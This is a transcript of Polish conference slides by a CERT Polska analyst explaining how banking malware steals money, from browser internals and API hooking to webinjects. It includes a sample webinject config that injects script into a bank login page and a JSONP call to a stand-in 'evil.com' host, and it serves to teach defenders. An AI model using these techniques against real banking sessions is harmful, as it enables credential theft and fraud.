Od assemblera do html5



Podobne dokumenty
Wykład 5: Najważniejsze usługi sieciowe: DNS, SSH, HTTP, . A. Kisiel,Protokoły DNS, SSH, HTTP,

Jarosław Kuchta Administrowanie Systemami Komputerowymi. Internetowe Usługi Informacyjne

HTML, CSS i JavaScript / Laura Lemay, Rafe Colburn, Jennifer Kyrnin. Gliwice, cop Spis treści

The OWASP Foundation Session Management. Sławomir Rozbicki.

Wprowadzenie do kryptografii i bezpieczeństwa. Po raz czwarty

Aspekty bezpieczeństwa aplikacji internetowych

Jarosław Kuchta Administrowanie Systemami Komputerowymi. Dostęp zdalny

SIECI KOMPUTEROWE I TECHNOLOGIE INTERNETOWE

Systemy internetowe. Wykład 5 Architektura WWW. West Pomeranian University of Technology, Szczecin; Faculty of Computer Science

Tworzenie stron internetowych z wykorzystaniem HTM5, JavaScript, CSS3 i jquery. Łukasz Bartczuk

Przegląd zagrożeń związanych z DNS. Tomasz Bukowski, Paweł Krześniak CERT Polska

Wybrane działy Informatyki Stosowanej

Win Admin Monitor Instrukcja Obsługi

Content Security Policy jako ochrona przed skutkami ataków XSS.

Kompresja stron internetowych

Przekierowanie portów w routerze - podstawy

ANIMACJE W CSS3. Czyli po co płacić podatek o Javy Script i JQuery

Laboratorium - Przechwytywanie i badanie datagramów DNS w programie Wireshark

Analiza możliwości złośliwego oprogramowania vjw0rm w kampanii phishingowej PayU

Sprawozdanie Sieci komputerowe i bazy danych Laboratorium nr 4

Sieci komputerowe. Wykład 7: Warstwa zastosowań: DNS, FTP, HTTP. Marcin Bieńkowski. Instytut Informatyki Uniwersytet Wrocławski

Laboratorium - Obserwacja procesu tłumaczenia nazw DNS

TCP/IP. Warstwa aplikacji. mgr inż. Krzysztof Szałajko

Bezpieczeństwo usług oraz informacje o certyfikatach

Instalacja i konfiguracja serwera IIS z FTP

Stos TCP/IP. Warstwa aplikacji cz.2

Instrukcja uŝytkownika narzędzia Skaner SMTP TP. Uruchamianie aplikacji

Przekierowanie portów w routerze TP-LINK na przykładzie kamery Kenik. Po co wykonujemy przekierowanie portów? Spójrzmy na rysunek poniżej:

Przekierowanie portów w routerze TP-LINK na przykładzie kamery Kenik. Po co wykonujemy przekierowanie portów? Spójrzmy na rysunek

Praca z programami SAS poza lokalną siecią komputerową UZ. Zestawienie tunelu SSH oraz konfiguracja serwera proxy w przeglądarce WWW

Analiza aktywności złośliwego oprogramowania Njw0rm

Instrukcja wgrywania Certyfikatu Klienta do przeglądarki Mozilla Firefox. System Bankowości Internetowej KIRI BS 2012

Praca z programami SAS poza lokalną siecią komputerową UZ. Zestawienie tunelu SSH oraz konfiguracja serwera proxy w przeglądarce WWW

Zygmunt Kubiak Instytut Informatyki Politechnika Poznańska

KSS Patron Zawody Instrukcja instalacji i obsługi programu do rejestracji na zawodach sportowych stowarzyszenia KSS Patron.

Studium przypadku Case Study CCNA2-ROUTING. Warianty projektów

Zaawansowane aplikacje internetowe

Orange Polska S.A. Bezpieczeństwo Systemów Teleinformatycznych / Wydział Operacji Bezpieczeństwa

Laboratorium nr 4 - Badanie protokołów WWW

Języki i narzędzia programowania III. Łukasz Kamiński Wykład I

Sprawozdanie Sieci komputerowe i bazy danych Laboratorium nr 4 Wojciech Kaczmarski

Funkcje i instrukcje języka JavaScript

Protokół HTTP. 1. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

Instrukcja konfigurowania poczty Exchange dla klienta pocztowego użytkowanego poza siecią uczelnianą SGH.

URZĄDZENIA KOMUNIKACJI INTERNETOWEJ PODŁĄCZENIE I KONFIGURACJA

Złośliwe oprogramowanie Sandrorat (podszywające się pod oprogramowanie Kaspersky) na platformę Android WYNIKI ANALIZY

Podstawy technologii WWW

Zaawansowany kurs języka Python

Wstęp. Skąd pobrać program do obsługi FTP? Logowanie

DESlock+ szybki start

Instrukcja konfiguracji usługi DDNS na dedykowanym serwerze dla urządzeń Internec serii i7

Referat z przedmiotu Technologie Internetowe SPIS TREŚCI

HTTP W 5-CIU PYTANIACH MICHAŁ KOPACZ

API System Partnerski

NIP: REGON INSTRUKCJA KONFIGURACJI WIFI NA PRZYKŁADZIE ROUTERA TP-LINK TL-WR740N.

4. Podstawowa konfiguracja

Temat: EasyAccess 2.0 Data: 10 Października 2014 Prowadzący: Maciej Sakowicz

Dokumentacja interfejsu HTTPD. Platforma BSMS.PL Instrukcja podłączenia po przez http

Instrukcja pobierania i weryfikacji zaświadczeń elektronicznych w portalu internetowym Polskiej Izby Inżynierów Budownictwa

TABLET - UDOSTĘPNIANIE DOKUMENTÓW

Tomasz Greszata - Koszalin

1 Wprowadzenie do J2EE

DOM (Document Object Model)

OBSŁUGA I KONFIGURACJA SIECI W WINDOWS

Nr: 12. Tytuł: UDOSTĘPNIANIE DANYCH O SPRAWACH KLIENTOM KANCELARII NA ZEWNĘTRZNYCH SERWERACH WWW. Data modyfikacji:

POLITYKA PRYWATNOŚCI Serwisu interne.st

Necurs analiza malware (1)

Ćwiczenie 6 Przełącznik zarządzalny T2500G-10TS (TL-SG3210).

MODEL WARSTWOWY PROTOKOŁY TCP/IP

Java i JavaScript. Krishna Tateneni Polskie tłumaczenie: Suse Polska Aktualny opiekun tłumaczenia: Marcin Kocur

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

Technologie internetowe

Połączenie VPN aplikacji SSL. 1. Konfiguracja serwera VPN 1.1. Ustawienia ogólne 1.2. Profile aplikacji SSL 1.3. Konto SSL 1.4. Grupa użytkowników

Dokumentacja SMS przez FTP

Instrukcja Integracja z istore. Wersja z 07/02/2015. Copyright Zakupteraz.pl

Instrukcja obsługi serwera FTP v

Widżety KIWIPortal. tworzenie umieszczanie na stronach internetowych opcje zaawansowane. Autor: Damian Rebuś Data: Wersja: 1.

Metody zabezpieczania transmisji w sieci Ethernet

Pełna specyfikacja usługi Kreator WWW

1 IMAP czy POP3? 2 Instalacja programu Mozilla Thunderbird

JĘZYK PYTHON - NARZĘDZIE DLA KAŻDEGO NAUKOWCA. Marcin Lewandowski [ mlew@ippt.gov.pl ]

Podstawy JavaScript ćwiczenia

Laboratorium 1 Wprowadzenie do PHP

1.1 Podłączenie Montaż Biurko Montaż naścienny... 4

Bazy Danych i Usługi Sieciowe

ekopia w Chmurze bezpieczny, zdalny backup danych

Problemy z bezpieczeństwem w sieci lokalnej

WINDOWS Instalacja serwera WWW na systemie Windows XP, 7, 8.

Programowanie w Internecie

PODSTAWOWA KONFIGURACJA LINKSYS WRT300N

ekopia w Chmurze bezpieczny, zdalny backup danych Instrukcja użytkownika dla klientów systemu mmedica

System kontroli dostępu ACCO NET Instrukcja instalacji

Połączenie VPN SSL Web Proxy. 1. Konfiguracja serwera VPN 1.1. Ustawienia ogólne 1.2. Profile SSL Web Proxy 1.3. Konto SSL 1.4. Grupa użytkowników

Domain Name System. Kraków, 30 Marca 2012 r. mgr Piotr Rytko Wydział Matematyki i Informatyki UJ

Telefon AT 530 szybki start.

SUM Edukacja Techniczno Informatyczna Języki i Systemy Programowania. Wykład 2. dr Artur Bartoszewski - WYKŁAD: Języki i Systemy Programowania,

H-Worm RAT. Analiza aktywności złośliwego oprogramowania. CERT Orange Polska S.A. Warszawa, dnia

Konfiguracja podglądu obrazu z kamery IP / rejestratora BCS przez sieć LAN.

System. Instalacja bazy danych MySQL. Autor : Piotr Zielonka tel Piotrków Tryb., sierpień 2018r.

Transkrypt:

Od assemblera do html5 czyli jak się dziś kradnie pieniądze Tomasz keidii Bukowski

@~# id IRT @ Cert Polska malware hunter / devops member of DragonSector

Jak działaj internet jakaś między-sieć przeglądarka serwery banku

Jak działają komputery (przeglądarki) 1 2 magia wewnątrz komputera

Gdzie kraść pieniądze? 1 2

Jak działają komputery (przeglądarki) 1. 2. 3. 4. 5. 6. 7. 8. USER otwiera [ https : // bank.test / login ] rozbij URL na: a. protokół == https (-> port = 443) i. czyli http + SSL b. adres (domen) == bank.test c. zasób == login znajdź adres IP bank.test (zapytanie DNS poprzez API systemowe) połącz się z IP (socket / TCP, port 443) -> [1] wynegocjuj połączenie SSL przez [1] (zestaw kanał SSL) -> [2] a. weryfikacja certyfikatu (ważność, CA, Cname, etc) prześlij zapytanie HTTP przez [2] odczytaj odpowiedź na (6) przez [2] -> [3] przetwarzaj [3]

Jak działają komputery (przeglądarki) 8. przetwarzaj [3] :-) a. odczytaj nagłówki b. odczytaj treść c. rozpocznij parsowanie dokumentu HTML i. ii. iii. pobierz dodatkowe treści renderuj! uruchamiaj skrypty (javascript) sprawdź Origin Policy sprawdz milion innych rzeczy tutaj dużo magii tutaj dużo magii

Jak działają komputery (przeglądarki) 8. przetwarzaj [3] :-) a. odczytaj nagłówki b. odczytaj treść c. rozpocznij parsowanie dokumentu HTML i. ii. iii. pobierz dodatkowe treści renderuj! uruchamiaj skrypty (javascript) sprawdź Origin Policy sprawdz milion innych rzeczy tutaj dużo magii tutaj dużo magii

Pomysł 1.0 Zmodyfikujmy treść dokumentu! Gdzie? (i dlaczego nie tam): routerek? MITM? system-level socket (ws2_32)? internalsy przeglądarki? inne pomysły?

stage 0 - infekcja

Pomysł 1.0 Czyńmy zło: 1. 2. 3. 4. Wstrzyknij kod do procesu(ów) przeglądarki (jesteśmy w domu :-) Wyszukaj funkcji odczytu/zapisu treści żądania Wstaw inline-hook (trampolina) do własnego kodu czyli?

Jaki malware? Tinba IFSB VMZeuS Slave Dyre Kronos Bublik SuperBankerTrojan2016?

Pomysł 1.0 1

! UWAGA!! (prawie) assembler! tylko osoby pełnoletnie!

Hookowanie 1.0 pamięć procesu KOD IAT (tablica importów) socket_read -> 0x1234 cośtam call socket_read() cośtam sockety.dll 0x1234: cośtam cośtam return

Hookowanie 1.0 pamięć procesu KOD IAT (tablica importów) evil.dll socket_read -> 0x9999 cośtam call socket_read() cośtam 0x999: inne cośtam return sockety.dll 0x1234: cośtam cośtam return

Hookowanie 2.0 pamięć procesu KOD cośtam call socket_read() cośtam sockety.dll 0x1234: cośtam1 cośtam2 return evil.dll 0x999: zlosliwe1 return

Hookowanie 2.0 pamięć procesu KOD cośtam call socket_read() cośtam sockety.dll 0x1234: cośtam1 cośtam2 return evil.dll 0x999: zlosliwe1 return

Hookowanie 2.0 pamięć procesu KOD cośtam call socket_read() cośtam sockety.dll 0x1234: GOTO 0x999 cośtam2 return evil.dll 0x999: zlosliwe1 cośtam1 GOTO 0x1234 + 1

Hookowanie 2.0 Problemy: 1. Pamięć ma atrybuty RWX a. 2. 3. trzeba zapisać tam, gdzie powinno być tylko RX trzeba zachować cośtam1 i cośtam2 a. instrukcje są różnej wielkości b. nie można zostawic pół instruckji W evil.dll nie możemy wykozystać socket_read a. czemu?

HTTP (w końcu!) Gimnazjum && liceum ;-)

Prawie-proxy na strumieniu danych... Manipulacja zapytaniem/odpowiedzią HTTP HTTP = Headers + body O czym trzeba pamiętać: fix content-length fix content-encoding (multipart? chunked?) pomijać nie text/html (chyba że chcemy podmieniać kawałki obrazków!)

czyli Webinject... Jak (prawie) zawsze wygląda webinject? Gdzie set_url https://awsome*bank.pl/login* Co replace: <head> inject: <head><script id="myqwe1"> alert( zuo ); </script> <title>zuo</title> end_inject Jak

czyli Webinject... Przykłady

<HTML>

<HTML> PS: jest jakiś programista HTML na sali? PPS: programiści C powinni wyjść obrażeni :-)

Modyfikacja treści dokumentu... Możemy. wszystko* level easy: podmeńmy numery kont!!! trzeba hardkodować numer ;-( inne pomysły? *co jest dopuszczalne w ramach okna przeglądarki, czyli?

User-mode hook - demo TODO: pokazać demo

Pomysł 2.0 ATS - jak działa jamniczek* Do strony doklejamy kawał JS, który: odczytuje (śledzi) całą aktywność użytkownika komunikuje się z serwerem zewnęrznym onkeypres / onmousemove / obblur /... Jak? AJAX złamie SOP? wyswietla / ukrywa potrzeb jquery FTW / zmienia elementy strony w zależności od

ATS ATS - zróbmy tak : Zainfekowany komputer config update malware CNC Przeglądarka Malware SSL :-) Strona Bank XX YY ATS (JS-based quasi CNC) JSONp

ATS - js-framework JSONp (dla tych, którzy nie znają): TODO: Na stronie https://bank1.test/ chcemy nawiązać komunikację z evil11.com <script src= ://evil.com/api.php?data=123&callback=func99 > RESPONSE: func99(show_message, MAMY CIĘ! );

ATS - przykład injectu TODO: pokazać przykład ;-)

Ostatni element...

Koniec. Tomasz KeiDii Bukowski keidii at mail dot com tomasz.bukowski at cert.pl www.cert.pl Ciekawa Praca!